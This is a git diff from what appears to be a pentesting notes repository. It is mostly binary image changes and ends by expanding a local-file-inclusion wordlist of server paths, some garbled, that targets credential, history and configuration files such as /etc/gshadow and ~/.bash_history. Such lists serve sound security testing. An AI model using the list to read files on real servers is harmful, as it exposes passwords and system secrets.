a/.gitbook/assets/image (518).png and b/.gitbook/assets/image (518).png differ diff --git a/.gitbook/assets/image (519).png b/.gitbook/assets/image (519).png index 63c113d4..8a1b60ff 100644 Binary files a/.gitbook/assets/image (519).png and b/.gitbook/assets/image (519).png differ diff --git a/.gitbook/assets/image (52).png b/.gitbook/assets/image (52).png index bdeb1bad..3cc71d97 100644 Binary files a/.gitbook/assets/image (52).png and b/.gitbook/assets/image (52).png differ diff --git a/.gitbook/assets/image (520).png b/.gitbook/assets/image (520).png index 1a1e1875..8fd9221a 100644 Binary files a/.gitbook/assets/image (520).png and b/.gitbook/assets/image (520).png differ diff --git a/.gitbook/assets/image (521).png b/.gitbook/assets/image (521).png index 73eb066d..38cffc57 100644 Binary files a/.gitbook/assets/image (521).png and b/.gitbook/assets/image (521).png differ diff --git a/.gitbook/assets/image (522).png b/.gitbook/assets/image (522).png index 8fd9221a..5b50fa6b 100644 Binary files a/.gitbook/assets/image (522).png and b/.gitbook/assets/image (522).png differ diff --git a/.gitbook/assets/image (523).png b/.gitbook/assets/image (523).png index 5b50fa6b..14f155dd 100644 Binary files a/.gitbook/assets/image (523).png and b/.gitbook/assets/image (523).png differ diff --git a/.gitbook/assets/image (525).png b/.gitbook/assets/image (525).png index 38cffc57..383925ef 100644 Binary files a/.gitbook/assets/image (525).png and b/.gitbook/assets/image (525).png differ diff --git a/.gitbook/assets/image (526).png b/.gitbook/assets/image (526).png index 14f155dd..399703d5 100644 Binary files a/.gitbook/assets/image (526).png and b/.gitbook/assets/image (526).png differ diff --git a/.gitbook/assets/image (527).png b/.gitbook/assets/image (527).png index 8a1b60ff..9aa9a7c3 100644 Binary files a/.gitbook/assets/image (527).png and b/.gitbook/assets/image (527).png differ diff --git a/.gitbook/assets/image (528).png b/.gitbook/assets/image (528).png index 09a8e787..f319c9cc 100644 Binary files a/.gitbook/assets/image (528).png and b/.gitbook/assets/image (528).png differ diff --git a/.gitbook/assets/image (529).png b/.gitbook/assets/image (529).png index d15c166d..af70e300 100644 Binary files a/.gitbook/assets/image (529).png and b/.gitbook/assets/image (529).png differ diff --git a/.gitbook/assets/image (53).png b/.gitbook/assets/image (53).png index 90412132..5ddde56d 100644 Binary files a/.gitbook/assets/image (53).png and b/.gitbook/assets/image (53).png differ diff --git a/.gitbook/assets/image (530).png b/.gitbook/assets/image (530).png index 383925ef..32cc84b6 100644 Binary files a/.gitbook/assets/image (530).png and b/.gitbook/assets/image (530).png differ diff --git a/.gitbook/assets/image (531).png b/.gitbook/assets/image (531).png index 399703d5..51a52746 100644 Binary files a/.gitbook/assets/image (531).png and b/.gitbook/assets/image (531).png differ diff --git a/.gitbook/assets/image (533).png b/.gitbook/assets/image (533).png index 8a0478ba..de6459b9 100644 Binary files a/.gitbook/assets/image (533).png and b/.gitbook/assets/image (533).png differ diff --git a/.gitbook/assets/image (534).png b/.gitbook/assets/image (534).png index de6459b9..03419b6f 100644 Binary files a/.gitbook/assets/image (534).png and b/.gitbook/assets/image (534).png differ diff --git a/.gitbook/assets/image (535).png b/.gitbook/assets/image (535).png index 054ee9cb..528a6ffb 100644 Binary files a/.gitbook/assets/image (535).png and b/.gitbook/assets/image (535).png differ diff --git a/.gitbook/assets/image (537).png b/.gitbook/assets/image (537).png index 03419b6f..1dfc47c3 100644 Binary files a/.gitbook/assets/image (537).png and b/.gitbook/assets/image (537).png differ diff --git a/.gitbook/assets/image (538).png b/.gitbook/assets/image (538).png index 528a6ffb..551e4ee0 100644 Binary files a/.gitbook/assets/image (538).png and b/.gitbook/assets/image (538).png differ diff --git a/.gitbook/assets/image (539).png b/.gitbook/assets/image (539).png index 6f2109bb..9ea77cd4 100644 Binary files a/.gitbook/assets/image (539).png and b/.gitbook/assets/image (539).png differ diff --git a/.gitbook/assets/image (54).png b/.gitbook/assets/image (54).png index 3e134083..cba975c3 100644 Binary files a/.gitbook/assets/image (54).png and b/.gitbook/assets/image (54).png differ diff --git a/.gitbook/assets/image (541).png b/.gitbook/assets/image (541).png index f4aeb376..b00799a1 100644 Binary files a/.gitbook/assets/image (541).png and b/.gitbook/assets/image (541).png differ diff --git a/.gitbook/assets/image (542).png b/.gitbook/assets/image (542).png index b00799a1..ca1e5019 100644 Binary files a/.gitbook/assets/image (542).png and b/.gitbook/assets/image (542).png differ diff --git a/.gitbook/assets/image (543).png b/.gitbook/assets/image (543).png index 6ee1afc0..6f2109bb 100644 Binary files a/.gitbook/assets/image (543).png and b/.gitbook/assets/image (543).png differ diff --git a/.gitbook/assets/image (544).png b/.gitbook/assets/image (544).png index 1dfc47c3..6ee1afc0 100644 Binary files a/.gitbook/assets/image (544).png and b/.gitbook/assets/image (544).png differ diff --git a/.gitbook/assets/image (545).png b/.gitbook/assets/image (545).png index 9ea77cd4..f4aeb376 100644 Binary files a/.gitbook/assets/image (545).png and b/.gitbook/assets/image (545).png differ diff --git a/.gitbook/assets/image (546).png b/.gitbook/assets/image (546).png index 551e4ee0..9a5a3be8 100644 Binary files a/.gitbook/assets/image (546).png and b/.gitbook/assets/image (546).png differ diff --git a/.gitbook/assets/image (547).png b/.gitbook/assets/image (547).png index 9a5a3be8..03f7d83f 100644 Binary files a/.gitbook/assets/image (547).png and b/.gitbook/assets/image (547).png differ diff --git a/.gitbook/assets/image (548).png b/.gitbook/assets/image (548).png index 03f7d83f..dde5b7af 100644 Binary files a/.gitbook/assets/image (548).png and b/.gitbook/assets/image (548).png differ diff --git a/.gitbook/assets/image (549).png b/.gitbook/assets/image (549).png index ca1e5019..0c29ac36 100644 Binary files a/.gitbook/assets/image (549).png and b/.gitbook/assets/image (549).png differ diff --git a/.gitbook/assets/image (55).png b/.gitbook/assets/image (55).png index 455fbb8b..d82da439 100644 Binary files a/.gitbook/assets/image (55).png and b/.gitbook/assets/image (55).png differ diff --git a/.gitbook/assets/image (550).png b/.gitbook/assets/image (550).png index eb0650ea..5c0a0507 100644 Binary files a/.gitbook/assets/image (550).png and b/.gitbook/assets/image (550).png differ diff --git a/.gitbook/assets/image (551).png b/.gitbook/assets/image (551).png index dde5b7af..eb0650ea 100644 Binary files a/.gitbook/assets/image (551).png and b/.gitbook/assets/image (551).png differ diff --git a/.gitbook/assets/image (552).png b/.gitbook/assets/image (552).png index 5c0a0507..8a0478ba 100644 Binary files a/.gitbook/assets/image (552).png and b/.gitbook/assets/image (552).png differ diff --git a/.gitbook/assets/image (553).png b/.gitbook/assets/image (553).png index 0c29ac36..422cbdc0 100644 Binary files a/.gitbook/assets/image (553).png and b/.gitbook/assets/image (553).png differ diff --git a/.gitbook/assets/image (554).png b/.gitbook/assets/image (554).png index 305dc190..3b06fd5c 100644 Binary files a/.gitbook/assets/image (554).png and b/.gitbook/assets/image (554).png differ diff --git a/.gitbook/assets/image (555).png b/.gitbook/assets/image (555).png index 3b06fd5c..d417c71b 100644 Binary files a/.gitbook/assets/image (555).png and b/.gitbook/assets/image (555).png differ diff --git a/.gitbook/assets/image (556).png b/.gitbook/assets/image (556).png index 422cbdc0..054ee9cb 100644 Binary files a/.gitbook/assets/image (556).png and b/.gitbook/assets/image (556).png differ diff --git a/.gitbook/assets/image (557).png b/.gitbook/assets/image (557).png index 82966ab5..305dc190 100644 Binary files a/.gitbook/assets/image (557).png and b/.gitbook/assets/image (557).png differ diff --git a/.gitbook/assets/image (559).png b/.gitbook/assets/image (559).png index 29c7808a..82966ab5 100644 Binary files a/.gitbook/assets/image (559).png and b/.gitbook/assets/image (559).png differ diff --git a/.gitbook/assets/image (56).png b/.gitbook/assets/image (56).png index 298a2278..6353bf4c 100644 Binary files a/.gitbook/assets/image (56).png and b/.gitbook/assets/image (56).png differ diff --git a/.gitbook/assets/image (560).png b/.gitbook/assets/image (560).png index 46672154..29c7808a 100644 Binary files a/.gitbook/assets/image (560).png and b/.gitbook/assets/image (560).png differ diff --git a/.gitbook/assets/image (562).png b/.gitbook/assets/image (562).png index e1003638..46672154 100644 Binary files a/.gitbook/assets/image (562).png and b/.gitbook/assets/image (562).png differ diff --git a/.gitbook/assets/image (563).png b/.gitbook/assets/image (563).png index ad3b6200..e1003638 100644 Binary files a/.gitbook/assets/image (563).png and b/.gitbook/assets/image (563).png differ diff --git a/.gitbook/assets/image (567).png b/.gitbook/assets/image (567).png index c4b1b5d4..a8b26dc8 100644 Binary files a/.gitbook/assets/image (567).png and b/.gitbook/assets/image (567).png differ diff --git a/.gitbook/assets/image (569).png b/.gitbook/assets/image (569).png index a8b26dc8..ad3b6200 100644 Binary files a/.gitbook/assets/image (569).png and b/.gitbook/assets/image (569).png differ diff --git a/.gitbook/assets/image (57).png b/.gitbook/assets/image (57).png index 5c39a506..f071911a 100644 Binary files a/.gitbook/assets/image (57).png and b/.gitbook/assets/image (57).png differ diff --git a/.gitbook/assets/image (570).png b/.gitbook/assets/image (570).png index b040d642..c9c778b2 100644 Binary files a/.gitbook/assets/image (570).png and b/.gitbook/assets/image (570).png differ diff --git a/.gitbook/assets/image (571).png b/.gitbook/assets/image (571).png index c9c778b2..4d6681de 100644 Binary files a/.gitbook/assets/image (571).png and b/.gitbook/assets/image (571).png differ diff --git a/.gitbook/assets/image (572).png b/.gitbook/assets/image (572).png index 07d2d492..5d656008 100644 Binary files a/.gitbook/assets/image (572).png and b/.gitbook/assets/image (572).png differ diff --git a/.gitbook/assets/image (573).png b/.gitbook/assets/image (573).png index e73c8449..07d2d492 100644 Binary files a/.gitbook/assets/image (573).png and b/.gitbook/assets/image (573).png differ diff --git a/.gitbook/assets/image (574).png b/.gitbook/assets/image (574).png index 4d6681de..e73c8449 100644 Binary files a/.gitbook/assets/image (574).png and b/.gitbook/assets/image (574).png differ diff --git a/.gitbook/assets/image (576).png b/.gitbook/assets/image (576).png index 5d656008..db9cb181 100644 Binary files a/.gitbook/assets/image (576).png and b/.gitbook/assets/image (576).png differ diff --git a/.gitbook/assets/image (578).png b/.gitbook/assets/image (578).png index db9cb181..e5183067 100644 Binary files a/.gitbook/assets/image (578).png and b/.gitbook/assets/image (578).png differ diff --git a/.gitbook/assets/image (579).png b/.gitbook/assets/image (579).png index e5183067..b040d642 100644 Binary files a/.gitbook/assets/image (579).png and b/.gitbook/assets/image (579).png differ diff --git a/.gitbook/assets/image (58).png b/.gitbook/assets/image (58).png index 9b657ceb..75bf9094 100644 Binary files a/.gitbook/assets/image (58).png and b/.gitbook/assets/image (58).png differ diff --git a/.gitbook/assets/image (580).png b/.gitbook/assets/image (580).png index 7b469099..5199276c 100644 Binary files a/.gitbook/assets/image (580).png and b/.gitbook/assets/image (580).png differ diff --git a/.gitbook/assets/image (581).png b/.gitbook/assets/image (581).png index 49cf422e..bf3fd2b5 100644 Binary files a/.gitbook/assets/image (581).png and b/.gitbook/assets/image (581).png differ diff --git a/.gitbook/assets/image (582).png b/.gitbook/assets/image (582).png index 29389005..89dfb4c0 100644 Binary files a/.gitbook/assets/image (582).png and b/.gitbook/assets/image (582).png differ diff --git a/.gitbook/assets/image (583).png b/.gitbook/assets/image (583).png index 46a41159..6e9fc6da 100644 Binary files a/.gitbook/assets/image (583).png and b/.gitbook/assets/image (583).png differ diff --git a/.gitbook/assets/image (584).png b/.gitbook/assets/image (584).png index 0042a138..1c4a2289 100644 Binary files a/.gitbook/assets/image (584).png and b/.gitbook/assets/image (584).png differ diff --git a/.gitbook/assets/image (585).png b/.gitbook/assets/image (585).png index f68b94b5..49cf422e 100644 Binary files a/.gitbook/assets/image (585).png and b/.gitbook/assets/image (585).png differ diff --git a/.gitbook/assets/image (586).png b/.gitbook/assets/image (586).png index 60647154..29389005 100644 Binary files a/.gitbook/assets/image (586).png and b/.gitbook/assets/image (586).png differ diff --git a/.gitbook/assets/image (587).png b/.gitbook/assets/image (587).png index c70eb875..737d473d 100644 Binary files a/.gitbook/assets/image (587).png and b/.gitbook/assets/image (587).png differ diff --git a/.gitbook/assets/image (589).png b/.gitbook/assets/image (589).png index 42ed44f7..e88ab886 100644 Binary files a/.gitbook/assets/image (589).png and b/.gitbook/assets/image (589).png differ diff --git a/.gitbook/assets/image (59).png b/.gitbook/assets/image (59).png index 3e52a89a..63675cea 100644 Binary files a/.gitbook/assets/image (59).png and b/.gitbook/assets/image (59).png differ diff --git a/.gitbook/assets/image (590).png b/.gitbook/assets/image (590).png index 6e9fc6da..f68b94b5 100644 Binary files a/.gitbook/assets/image (590).png and b/.gitbook/assets/image (590).png differ diff --git a/.gitbook/assets/image (591).png b/.gitbook/assets/image (591).png index 2ff8316d..5f898871 100644 Binary files a/.gitbook/assets/image (591).png and b/.gitbook/assets/image (591).png differ diff --git a/.gitbook/assets/image (592).png b/.gitbook/assets/image (592).png index cb650a2e..46a41159 100644 Binary files a/.gitbook/assets/image (592).png and b/.gitbook/assets/image (592).png differ diff --git a/.gitbook/assets/image (593).png b/.gitbook/assets/image (593).png index e88ab886..7b469099 100644 Binary files a/.gitbook/assets/image (593).png and b/.gitbook/assets/image (593).png differ diff --git a/.gitbook/assets/image (594).png b/.gitbook/assets/image (594).png index 5f898871..c70eb875 100644 Binary files a/.gitbook/assets/image (594).png and b/.gitbook/assets/image (594).png differ diff --git a/.gitbook/assets/image (595).png b/.gitbook/assets/image (595).png index 89dfb4c0..cb650a2e 100644 Binary files a/.gitbook/assets/image (595).png and b/.gitbook/assets/image (595).png differ diff --git a/.gitbook/assets/image (596).png b/.gitbook/assets/image (596).png index 1c4a2289..42ed44f7 100644 Binary files a/.gitbook/assets/image (596).png and b/.gitbook/assets/image (596).png differ diff --git a/.gitbook/assets/image (597).png b/.gitbook/assets/image (597).png index 383a5938..f33c3c9b 100644 Binary files a/.gitbook/assets/image (597).png and b/.gitbook/assets/image (597).png differ diff --git a/.gitbook/assets/image (598).png b/.gitbook/assets/image (598).png index f65d4b74..97522921 100644 Binary files a/.gitbook/assets/image (598).png and b/.gitbook/assets/image (598).png differ diff --git a/.gitbook/assets/image (599).png b/.gitbook/assets/image (599).png index 737d473d..a27b8e3a 100644 Binary files a/.gitbook/assets/image (599).png and b/.gitbook/assets/image (599).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 1978dd55..76f38c14 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image (60).png b/.gitbook/assets/image (60).png index 540b55ef..8bb615d5 100644 Binary files a/.gitbook/assets/image (60).png and b/.gitbook/assets/image (60).png differ diff --git a/.gitbook/assets/image (600).png b/.gitbook/assets/image (600).png index bf3fd2b5..926a0a9b 100644 Binary files a/.gitbook/assets/image (600).png and b/.gitbook/assets/image (600).png differ diff --git a/.gitbook/assets/image (601).png b/.gitbook/assets/image (601).png index 5199276c..0baad2ee 100644 Binary files a/.gitbook/assets/image (601).png and b/.gitbook/assets/image (601).png differ diff --git a/.gitbook/assets/image (602).png b/.gitbook/assets/image (602).png index a27b8e3a..d0ab0ee1 100644 Binary files a/.gitbook/assets/image (602).png and b/.gitbook/assets/image (602).png differ diff --git a/.gitbook/assets/image (603).png b/.gitbook/assets/image (603).png index 258bde19..f65d4b74 100644 Binary files a/.gitbook/assets/image (603).png and b/.gitbook/assets/image (603).png differ diff --git a/.gitbook/assets/image (604).png b/.gitbook/assets/image (604).png index 0baad2ee..383a5938 100644 Binary files a/.gitbook/assets/image (604).png and b/.gitbook/assets/image (604).png differ diff --git a/.gitbook/assets/image (605).png b/.gitbook/assets/image (605).png index 92ca769d..2ff8316d 100644 Binary files a/.gitbook/assets/image (605).png and b/.gitbook/assets/image (605).png differ diff --git a/.gitbook/assets/image (606).png b/.gitbook/assets/image (606).png index 926a0a9b..60647154 100644 Binary files a/.gitbook/assets/image (606).png and b/.gitbook/assets/image (606).png differ diff --git a/.gitbook/assets/image (607).png b/.gitbook/assets/image (607).png index f33c3c9b..0042a138 100644 Binary files a/.gitbook/assets/image (607).png and b/.gitbook/assets/image (607).png differ diff --git a/.gitbook/assets/image (608).png b/.gitbook/assets/image (608).png index d0ab0ee1..258bde19 100644 Binary files a/.gitbook/assets/image (608).png and b/.gitbook/assets/image (608).png differ diff --git a/.gitbook/assets/image (609).png b/.gitbook/assets/image (609).png index 97522921..92ca769d 100644 Binary files a/.gitbook/assets/image (609).png and b/.gitbook/assets/image (609).png differ diff --git a/.gitbook/assets/image (61).png b/.gitbook/assets/image (61).png index ef6335c0..3e52a89a 100644 Binary files a/.gitbook/assets/image (61).png and b/.gitbook/assets/image (61).png differ diff --git a/.gitbook/assets/image (613).png b/.gitbook/assets/image (613).png index b7c4b107..c4b1b5d4 100644 Binary files a/.gitbook/assets/image (613).png and b/.gitbook/assets/image (613).png differ diff --git a/.gitbook/assets/image (614).png b/.gitbook/assets/image (614).png index a9184dfe..b7c4b107 100644 Binary files a/.gitbook/assets/image (614).png and b/.gitbook/assets/image (614).png differ diff --git a/.gitbook/assets/image (615).png b/.gitbook/assets/image (615).png index d470f7dd..a9184dfe 100644 Binary files a/.gitbook/assets/image (615).png and b/.gitbook/assets/image (615).png differ diff --git a/.gitbook/assets/image (616).png b/.gitbook/assets/image (616).png index e146bcdd..d470f7dd 100644 Binary files a/.gitbook/assets/image (616).png and b/.gitbook/assets/image (616).png differ diff --git a/.gitbook/assets/image (618).png b/.gitbook/assets/image (618).png index 84c5b075..e146bcdd 100644 Binary files a/.gitbook/assets/image (618).png and b/.gitbook/assets/image (618).png differ diff --git a/.gitbook/assets/image (62).png b/.gitbook/assets/image (62).png index b6cad7d3..c8e1b598 100644 Binary files a/.gitbook/assets/image (62).png and b/.gitbook/assets/image (62).png differ diff --git a/.gitbook/assets/image (620).png b/.gitbook/assets/image (620).png index 98595b5f..e2fc218f 100644 Binary files a/.gitbook/assets/image (620).png and b/.gitbook/assets/image (620).png differ diff --git a/.gitbook/assets/image (621) (2).png b/.gitbook/assets/image (621) (2).png new file mode 100644 index 00000000..e2fc218f Binary files /dev/null and b/.gitbook/assets/image (621) (2).png differ diff --git a/.gitbook/assets/image (621).png b/.gitbook/assets/image (621).png index e2fc218f..e635399c 100644 Binary files a/.gitbook/assets/image (621).png and b/.gitbook/assets/image (621).png differ diff --git a/.gitbook/assets/image (622).png b/.gitbook/assets/image (622).png index e635399c..84c5b075 100644 Binary files a/.gitbook/assets/image (622).png and b/.gitbook/assets/image (622).png differ diff --git a/.gitbook/assets/image (623).png b/.gitbook/assets/image (623).png new file mode 100644 index 00000000..98595b5f Binary files /dev/null and b/.gitbook/assets/image (623).png differ diff --git a/.gitbook/assets/image (625).png b/.gitbook/assets/image (625).png new file mode 100644 index 00000000..a752e1e5 Binary files /dev/null and b/.gitbook/assets/image (625).png differ diff --git a/.gitbook/assets/image (63).png b/.gitbook/assets/image (63).png index 739e8581..ab178655 100644 Binary files a/.gitbook/assets/image (63).png and b/.gitbook/assets/image (63).png differ diff --git a/.gitbook/assets/image (64).png b/.gitbook/assets/image (64).png index d2bc0531..a15396d7 100644 Binary files a/.gitbook/assets/image (64).png and b/.gitbook/assets/image (64).png differ diff --git a/.gitbook/assets/image (65).png b/.gitbook/assets/image (65).png index cc0ab38f..9181a7d1 100644 Binary files a/.gitbook/assets/image (65).png and b/.gitbook/assets/image (65).png differ diff --git a/.gitbook/assets/image (66).png b/.gitbook/assets/image (66).png index 7e07102b..2515a868 100644 Binary files a/.gitbook/assets/image (66).png and b/.gitbook/assets/image (66).png differ diff --git a/.gitbook/assets/image (67).png b/.gitbook/assets/image (67).png index 3637385a..ac353e4c 100644 Binary files a/.gitbook/assets/image (67).png and b/.gitbook/assets/image (67).png differ diff --git a/.gitbook/assets/image (68).png b/.gitbook/assets/image (68).png index c6f396b9..2f8a8d54 100644 Binary files a/.gitbook/assets/image (68).png and b/.gitbook/assets/image (68).png differ diff --git a/.gitbook/assets/image (69).png b/.gitbook/assets/image (69).png index 54eb3d28..1ee9326a 100644 Binary files a/.gitbook/assets/image (69).png and b/.gitbook/assets/image (69).png differ diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png index 35ddb985..7510b6e7 100644 Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ diff --git a/.gitbook/assets/image (70).png b/.gitbook/assets/image (70).png index 9a275baa..1978dd55 100644 Binary files a/.gitbook/assets/image (70).png and b/.gitbook/assets/image (70).png differ diff --git a/.gitbook/assets/image (71).png b/.gitbook/assets/image (71).png index 17001451..b010358d 100644 Binary files a/.gitbook/assets/image (71).png and b/.gitbook/assets/image (71).png differ diff --git a/.gitbook/assets/image (72).png b/.gitbook/assets/image (72).png index 2d4bfc62..7db5cbb7 100644 Binary files a/.gitbook/assets/image (72).png and b/.gitbook/assets/image (72).png differ diff --git a/.gitbook/assets/image (73).png b/.gitbook/assets/image (73).png index 1c0102c1..74a3163d 100644 Binary files a/.gitbook/assets/image (73).png and b/.gitbook/assets/image (73).png differ diff --git a/.gitbook/assets/image (74).png b/.gitbook/assets/image (74).png index c31211c7..877c67db 100644 Binary files a/.gitbook/assets/image (74).png and b/.gitbook/assets/image (74).png differ diff --git a/.gitbook/assets/image (75).png b/.gitbook/assets/image (75).png index 5d2bec98..6c35b704 100644 Binary files a/.gitbook/assets/image (75).png and b/.gitbook/assets/image (75).png differ diff --git a/.gitbook/assets/image (76).png b/.gitbook/assets/image (76).png index f0537a32..b2c2c3d2 100644 Binary files a/.gitbook/assets/image (76).png and b/.gitbook/assets/image (76).png differ diff --git a/.gitbook/assets/image (77).png b/.gitbook/assets/image (77).png index ec5a7ae1..3e9c614b 100644 Binary files a/.gitbook/assets/image (77).png and b/.gitbook/assets/image (77).png differ diff --git a/.gitbook/assets/image (78).png b/.gitbook/assets/image (78).png index 74a3163d..7e07102b 100644 Binary files a/.gitbook/assets/image (78).png and b/.gitbook/assets/image (78).png differ diff --git a/.gitbook/assets/image (79) (2).png b/.gitbook/assets/image (79) (2).png new file mode 100644 index 00000000..61cc7858 Binary files /dev/null and b/.gitbook/assets/image (79) (2).png differ diff --git a/.gitbook/assets/image (79).png b/.gitbook/assets/image (79).png index 61cc7858..006ca9f2 100644 Binary files a/.gitbook/assets/image (79).png and b/.gitbook/assets/image (79).png differ diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png index e732ec2b..066cf2ec 100644 Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ diff --git a/.gitbook/assets/image (80).png b/.gitbook/assets/image (80).png index 530b2464..bc3c40e9 100644 Binary files a/.gitbook/assets/image (80).png and b/.gitbook/assets/image (80).png differ diff --git a/.gitbook/assets/image (81).png b/.gitbook/assets/image (81).png index fe76944b..169a0842 100644 Binary files a/.gitbook/assets/image (81).png and b/.gitbook/assets/image (81).png differ diff --git a/.gitbook/assets/image (82).png b/.gitbook/assets/image (82).png index 8f1f2230..c9add7a0 100644 Binary files a/.gitbook/assets/image (82).png and b/.gitbook/assets/image (82).png differ diff --git a/.gitbook/assets/image (83).png b/.gitbook/assets/image (83).png index 8ed5aafe..f716e189 100644 Binary files a/.gitbook/assets/image (83).png and b/.gitbook/assets/image (83).png differ diff --git a/.gitbook/assets/image (84).png b/.gitbook/assets/image (84).png index 1e4d4e8f..72371bfc 100644 Binary files a/.gitbook/assets/image (84).png and b/.gitbook/assets/image (84).png differ diff --git a/.gitbook/assets/image (85).png b/.gitbook/assets/image (85).png index d136676c..b377b766 100644 Binary files a/.gitbook/assets/image (85).png and b/.gitbook/assets/image (85).png differ diff --git a/.gitbook/assets/image (86).png b/.gitbook/assets/image (86).png index af912ceb..e5213761 100644 Binary files a/.gitbook/assets/image (86).png and b/.gitbook/assets/image (86).png differ diff --git a/.gitbook/assets/image (87).png b/.gitbook/assets/image (87).png index 8ce264e5..f59a9496 100644 Binary files a/.gitbook/assets/image (87).png and b/.gitbook/assets/image (87).png differ diff --git a/.gitbook/assets/image (88).png b/.gitbook/assets/image (88).png index eaa792ed..7f0f2643 100644 Binary files a/.gitbook/assets/image (88).png and b/.gitbook/assets/image (88).png differ diff --git a/.gitbook/assets/image (89).png b/.gitbook/assets/image (89).png index d8f477bd..189c54de 100644 Binary files a/.gitbook/assets/image (89).png and b/.gitbook/assets/image (89).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index 6fca302e..541196b6 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image (90).png b/.gitbook/assets/image (90).png index 7385774f..c31211c7 100644 Binary files a/.gitbook/assets/image (90).png and b/.gitbook/assets/image (90).png differ diff --git a/.gitbook/assets/image (91).png b/.gitbook/assets/image (91).png index 0506854e..051209e7 100644 Binary files a/.gitbook/assets/image (91).png and b/.gitbook/assets/image (91).png differ diff --git a/.gitbook/assets/image (92).png b/.gitbook/assets/image (92).png index d3d51f20..5d2bec98 100644 Binary files a/.gitbook/assets/image (92).png and b/.gitbook/assets/image (92).png differ diff --git a/.gitbook/assets/image (93).png b/.gitbook/assets/image (93).png index c4bf20c0..f4a135d0 100644 Binary files a/.gitbook/assets/image (93).png and b/.gitbook/assets/image (93).png differ diff --git a/.gitbook/assets/image (94).png b/.gitbook/assets/image (94).png index 7ebf7f05..0f8af75b 100644 Binary files a/.gitbook/assets/image (94).png and b/.gitbook/assets/image (94).png differ diff --git a/.gitbook/assets/image (95).png b/.gitbook/assets/image (95).png index b240aa9d..bdf76a39 100644 Binary files a/.gitbook/assets/image (95).png and b/.gitbook/assets/image (95).png differ diff --git a/.gitbook/assets/image (96).png b/.gitbook/assets/image (96).png index 57bdc161..556135a1 100644 Binary files a/.gitbook/assets/image (96).png and b/.gitbook/assets/image (96).png differ diff --git a/.gitbook/assets/image (97).png b/.gitbook/assets/image (97).png index da4c2d8c..c6e1bd7d 100644 Binary files a/.gitbook/assets/image (97).png and b/.gitbook/assets/image (97).png differ diff --git a/.gitbook/assets/image (98).png b/.gitbook/assets/image (98).png index d89235d1..2c18e67c 100644 Binary files a/.gitbook/assets/image (98).png and b/.gitbook/assets/image (98).png differ diff --git a/.gitbook/assets/image (99).png b/.gitbook/assets/image (99).png index bdf76a39..b6cad7d3 100644 Binary files a/.gitbook/assets/image (99).png and b/.gitbook/assets/image (99).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 893b9e4d..c307d4fc 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/.gitbook/assets/lfi (1).txt b/.gitbook/assets/lfi (1).txt index 28a6c928..dd887237 100644 --- a/.gitbook/assets/lfi (1).txt +++ b/.gitbook/assets/lfi (1).txt @@ -1,102 +1,159 @@ /apache/logs/access.log +/apache/logs/access_log /apache/logs/error.log -/apachephpphp.ini +/apache/logs/error_log +~/.atfp_history +~/.bash_history +~/.bash_logout +~/.bash_profile +~/.bashrc /bin/php.ini -/ect/hostname +/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf +/etc/anaconda-ks.cfg +/etc/anacrontab +/etc/apache2/apache2.conf /etc/apache2/conf/httpd.conf -/etc/apache2/httpd.conf /etc/apache/conf/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/centos-release +/etc/cesi.conf +/etc/chrootUsers /etc/chrootUsersvar/log/xferlog +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny /etc/crontab +/etc/cups/cupsd.conf +/etc/debconf.conf +/etc/debian_version /etc/dovecot/dovecot.passwd +/etc/environment /etc/fstab -/etc/ftpchroot -/etc/ftphosts -/etc/group -/etc/hosts +/etc/ftpaccess +/etc/groups +/etc/grub.conf +/etc/gshadow +/etc/hostapd.conf +/etc/hostname +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/httpd/access.conf /etc/httpd.conf -/etc/httpd/conf/httpd.conf -/etc/httpd/conf/httpd.confetc/http/conf/httpd.conf -/etc/httpd/httpd.conf -/etc/httpd/logs/access.log -/etc/httpd/logs/access_logetc/httpd/logs/error_log -/etc/httpd/logs/access.logProgramFilesApacheGroupApachelogsaccess.log -/etc/httpd/logs/error.log -/etc/httpd/php.ini +/etc/httpd/srm.conf /etc/http/httpd.conf -/etc/issue -/etc/logrotate.d/ftp +/etc/inetd.conf +/etc/inittab +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/proftpd /etc/logrotate.d/proftpdwww/logs/proftpd.system.log -/etc/logrotate.d/vsftpd.log -/etc/motd +/etc/lsb-release +/etc/master.passwd +/etc/modules.conf /etc/motdetc/passwd -/etc/my.cnf -/etc/mysql/my.cnf +/etc/mtab +/etc/my.conf +/etc/mysql/user.MYD /etc/netconfig -/etc/passwd +/etc/network/interfaces +/etc/networks +/etc/npasswd +/etc/ntp.conf +/etc/os-release +/etc/php4.4/fcgi/php.ini /etc/php4.4/fcgi/php.inietc/php4/apache/php.ini -/etc/php4/apache2/php.ini -/etc/php4/cgi/php.ini -/etc/php5/apache2/php.ini -/etc/php5/apache/php.ini +/etc/php4/apache/php.ini /etc/php5/cgi/php.ini -/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini /etc/php/php4/php.inietc/php/apache/php.ini -/etc/php/php.ini -/etc/profile -/etc/proftp.conf +/etc/polkit-1/localauthority.conf.d/50-localauthority.conf +/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf +/etc/printcap /etc/proftpd/modules.confvar/log/vsftpd.log +/etc/proftpd/proftpd.conf +/etc/protocols /etc/protpd/proftpd.conf -/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb /etc/pureftpd.pdbetc/pureftpd.passwd -/etc/pure-ftpd/pure-ftpd.conf -/etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/rsyncd.conf 